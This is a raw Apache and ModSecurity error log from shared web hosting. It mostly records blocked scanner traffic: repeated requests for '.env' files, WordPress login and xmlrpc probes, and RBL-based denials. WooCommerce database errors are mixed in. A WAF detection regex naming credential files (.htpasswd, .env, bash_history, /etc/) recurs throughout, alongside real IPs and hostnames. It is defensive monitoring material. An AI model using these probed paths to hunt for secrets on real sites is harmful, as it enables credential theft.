[Sat Jun 13 18:17:39.225057 2026] [security2:error] [pid 648189:tid 648472] [client 77.68.83.86:57187] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/cache.php"] [unique_id "ai3zI1WSojQL4F7upKBnTgAAAPY"], referer: www.google.com [Sat Jun 13 18:17:39.350396 2026] [security2:error] [pid 648189:tid 648477] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/legal/.env"] [unique_id "ai3zI1WSojQL4F7upKBnUAAAAPs"] [Sat Jun 13 18:17:39.382406 2026] [security2:error] [pid 646876:tid 647073] [client 34.23.213.224:51334] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zI9yTkdrNlD40tSGv7AAAAEE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:39.480981 2026] [security2:error] [pid 648189:tid 648435] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/lemonldap-ng-doc/.env"] [unique_id "ai3zI1WSojQL4F7upKBnVAAAANY"] [Sat Jun 13 18:17:39.522085 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.100:37821] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:39.522407 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.100:37821] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:39.543726 2026] [security2:error] [pid 646876:tid 647029] [client 34.23.213.224:51350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zI9yTkdrNlD40tSGv8AAAABU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:39.612573 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/lemonldap-ng-fr-doc/.env"] [unique_id "ai3zI1WSojQL4F7upKBnWgAAAKw"] [Sat Jun 13 18:17:39.661287 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.38:47979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:39.661565 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.38:47979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:39.706202 2026] [security2:error] [pid 648189:tid 648418] [client 34.23.213.224:51366] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zI1WSojQL4F7upKBnXgAAAMU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:39.716746 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:17:39.717036 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:17:39.745121 2026] [security2:error] [pid 648189:tid 648390] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/letsencrypt/.env"] [unique_id "ai3zI1WSojQL4F7upKBnYAAAAKo"] [Sat Jun 13 18:17:39.765404 2026] [security2:error] [pid 648189:tid 648468] [client 77.68.83.86:63052] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/cgi-bin/cgi-bin/cgi-bin/cgi-bin/cache.php"] [unique_id "ai3zI1WSojQL4F7upKBnYwAAAPI"], referer: www.google.com [Sat Jun 13 18:17:39.851179 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.102:60193] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:39.851461 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.102:60193] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:39.867687 2026] [security2:error] [pid 648189:tid 648449] [client 34.23.213.224:51382] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zI1WSojQL4F7upKBnZQAAAOM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:39.876980 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/lib/.env"] [unique_id "ai3zI1WSojQL4F7upKBnZgAAAKk"] [Sat Jun 13 18:17:39.959874 2026] [security2:error] [pid 648189:tid 648243] [remote 17.241.219.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zI1WSojQL4F7upKBnaQAAsRY"] [Sat Jun 13 18:17:40.029938 2026] [security2:error] [pid 646876:tid 647041] [client 34.23.213.224:51388] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJNyTkdrNlD40tSGv_gAAACE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:40.123037 2026] [access_compat:error] [pid 648189:tid 648226] [remote 57.141.14.24:60602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:40.123498 2026] [access_compat:error] [pid 648189:tid 648226] [remote 57.141.14.24:60602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:40.169502 2026] [security2:error] [pid 648189:tid 648379] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/libraries/.env"] [unique_id "ai3zJFWSojQL4F7upKBncQAAAJ8"] [Sat Jun 13 18:17:40.192403 2026] [security2:error] [pid 648189:tid 648466] [client 34.23.213.224:51404] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJFWSojQL4F7upKBneQAAAPA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:40.228782 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:17:40.229118 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:17:40.286369 2026] [security2:error] [pid 648189:tid 648455] [client 77.68.83.86:53622] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/images/images/images/images/images/images/cache.php"] [unique_id "ai3zJFWSojQL4F7upKBnfQAAAOk"], referer: www.google.com [Sat Jun 13 18:17:40.302529 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Library/.env"] [unique_id "ai3zJFWSojQL4F7upKBnfgAAAOI"] [Sat Jun 13 18:17:40.354125 2026] [security2:error] [pid 648189:tid 648423] [client 34.23.213.224:51410] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJFWSojQL4F7upKBngAAAAMo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:40.435724 2026] [security2:error] [pid 648189:tid 648485] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/libs/.env"] [unique_id "ai3zJFWSojQL4F7upKBnhwAAAQM"] [Sat Jun 13 18:17:40.444406 2026] [security2:error] [pid 648189:tid 648462] [client 210.217.96.217:29036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zJFWSojQL4F7upKBniAAAAOw"] [Sat Jun 13 18:17:40.444507 2026] [security2:error] [pid 648189:tid 648462] [client 210.217.96.217:29036] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zJFWSojQL4F7upKBniAAAAOw"] [Sat Jun 13 18:17:40.517410 2026] [security2:error] [pid 648189:tid 648439] [client 34.23.213.224:51420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJFWSojQL4F7upKBniwAAANo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:40.546652 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wp_options WHERE option_name IN ('_transient_jetpack_update_remote_package_last_query','_transient_timeout_jetpack_update_remote_package_last_query') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, get_transient, wp_prime_option_caches\n [Sat Jun 13 18:17:40.546689 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_jetpack_update_remote_package_last_query', '1781396320', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, set_transient, add_option\n [Sat Jun 13 18:17:40.546707 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_jetpack_update_remote_package_last_query', '1781396260', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, set_transient, add_option\n [Sat Jun 13 18:17:40.547196 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wp_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock\n [Sat Jun 13 18:17:40.547208 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wp_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock\n [Sat Jun 13 18:17:40.547241 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set\n [Sat Jun 13 18:17:40.547479 2026] [lsapi:warn] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_actionscheduler_actions` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_FatalErrorMonitor->handle_unexpected_shutdown, ActionScheduler_DBStore->mark_failure\n [Sat Jun 13 18:17:40.547505 2026] [lsapi:error] [pid 646876:tid 647013] [client 173.254.29.157:14112] [host nelsonfarmstn.com] Backend fatal error: PHP Fatal error: Uncaught InvalidArgumentException: Unidentified action 399735: we were unable to mark this action as having failed. It may may have been deleted by another process. in /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1232\nStack trace:\n#0 /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/ActionScheduler_FatalErrorMonitor.php(90): ActionScheduler_DBStore->mark_failure(399735)\n#1 /home1/thenelso/public_html/wp-includes/class-wp-hook.php(341): ActionScheduler_FatalErrorMonitor->handle_unexpected_shutdown('')\n#2 /home1/thenelso/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array)\n#3 /home1/thenelso/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array)\n#4 /home1/thenelso/public_html/wp-includes/load.php(1308): do_action('shutdown')\n#5 [internal function]: shutdown_action_hook()\n#6 {main}\n thrown in /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php on line 1232\n [Sat Jun 13 18:17:40.563127 2026] [security2:error] [pid 648189:tid 648283] [remote 111.225.149.222:28148] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "taracom.net"] [uri "/solutions/"] [unique_id "ai3zJFWSojQL4F7upKBnjgAA_j0"] [Sat Jun 13 18:17:40.566428 2026] [security2:error] [pid 648189:tid 648438] [client 185.177.72.9:41864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/lindex.php"] [unique_id "ai3zJFWSojQL4F7upKBnjwAAANk"] [Sat Jun 13 18:17:40.678773 2026] [security2:error] [pid 646876:tid 647051] [client 34.23.213.224:51432] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zJNyTkdrNlD40tSGwEwAAACs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:40.756520 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:40.756817 2026] [access_compat:error] [pid 646876:tid 646995] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 